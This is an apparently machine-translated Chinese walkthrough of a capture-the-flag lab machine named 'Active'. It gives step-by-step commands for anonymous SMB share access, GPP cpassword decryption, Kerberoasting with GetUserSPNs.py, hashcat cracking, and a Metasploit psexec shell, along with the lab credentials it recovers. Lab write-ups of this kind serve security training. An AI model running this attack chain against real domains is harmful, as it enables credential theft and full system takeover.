0x01渗透方法
扫描网络
- 打开端口和运行服务(Nmap)
列举
- 识别共享文件(Linux4enum)
- 通过匿名登录访问共享文件(smbclient)
- 解密cpassword(Gpprefdecrypt.py)
通过SMB连接访问Victim的Shell
- 访问共享文件用户登录
- 获取User.txt
特权升级
- 查找服务主体名称(py)
- 破解哈希(Hashcat)
- Psexec Exploit(Metasploit)
- 获取root.txt
演练
0x02扫描网络
注意:由于这些实验室可在线使用,因此它们具有静态IP。Active的IP是10.10.10.100
让我们从我们的基本nmap命令开始,找出开放的端口和服务。
1 | nmap -sV 10.10.10.100 |
从Nmap扫描结果可以看出,有很多开放端口及其运行服务,操作系统是Microsoft Windows server 2008:r2:sp1,您还可以读取域名“active.htb”。
0x03enum4liux
当我看到端口445打开时,我尝试了永久的蓝色攻击,但我想这是SMB的补丁版本,因此我必须从enum4linux脚本开始。众所周知,它是SMB枚举的最佳脚本。
1 | ./enum4liux -S 10.10.10.100 |
它显示了/ Replication共享文件的匿名登录。
然后我尝试使用help smbclient访问/ Replication并运行以下命令通过匿名帐户访问此目录:
1 | smbclient //10.10.10.100/Replication |
在这里,我下载了从以下路径中找到的Groups.xml文件:
1 | \active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\MACHINE\Preferences\Groups\ |
所以在这里我发现cpassword嵌入Groups.xml用户属性值SVC_TGS。
因此,我从GitHub下载了一个python脚本“Gpprefdecrypt”来解密通过Windows 2008组策略首选项(GPP)添加的本地用户的密码并获取密码:GPPstillStandingStrong2k18。
1 | python Gpprefdecrypt.py < cpassword attribute value > |
0x04通过SMB连接访问Victim的Shell
使用以上凭证,我们在以下命令的帮助下连接到SMB,并成功捕获我们的第一个标志“user.txt”文件。
1 | smbclient //10.10.10.100/Users -U SVC_TGS |
现在,是时候寻找root.txt文件,并且为了获得root.txt文件,我们需要升级root权限,因此我们在本地机器的/ etc /hosts文件中添加Host_IP和Host_name。
0x05特权升级
在nmap扫描结果中,我们看到端口88对于Kerberos是开放的,因此它们很多是与普通用户帐户关联的一些服务主体名称(SPN)。因此,我们从Github下载并安装impacket以使用其python类GetUserSPN.py
1 | ./GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 |
我将哈希值复制到文本文件“hash.txt”中进行解密。
然后在hashcat的帮助下我们找到了哈希模式,结果它显示了13100 for Kerberos 5 TGS-REP etype 23
1 | hashcat -h \|grep -i tgs |
最后,是时候破解哈希并使用rockyou.txt wordlist获取密码。
1 | hashcat -m 13100 hash.txt -a 0 /usr/share/wordlists/rockyou.txt --force ---show |
欢呼!!!我们得到了它,Ticketmaster1968为管理员。
在没有浪费时间的情况下,我加载了metaploit框架并运行以下模块来生成完整的权限系统shell。
1 | msf > use exploit/windows/smb/psexec |
现在我们在root shell中,让我们追逐root.txt文件并完成这个挑战。
Yuppieee!我们发现我们的第二个标志是/ Users / Administrator / Desktop中的root.txt文件格式。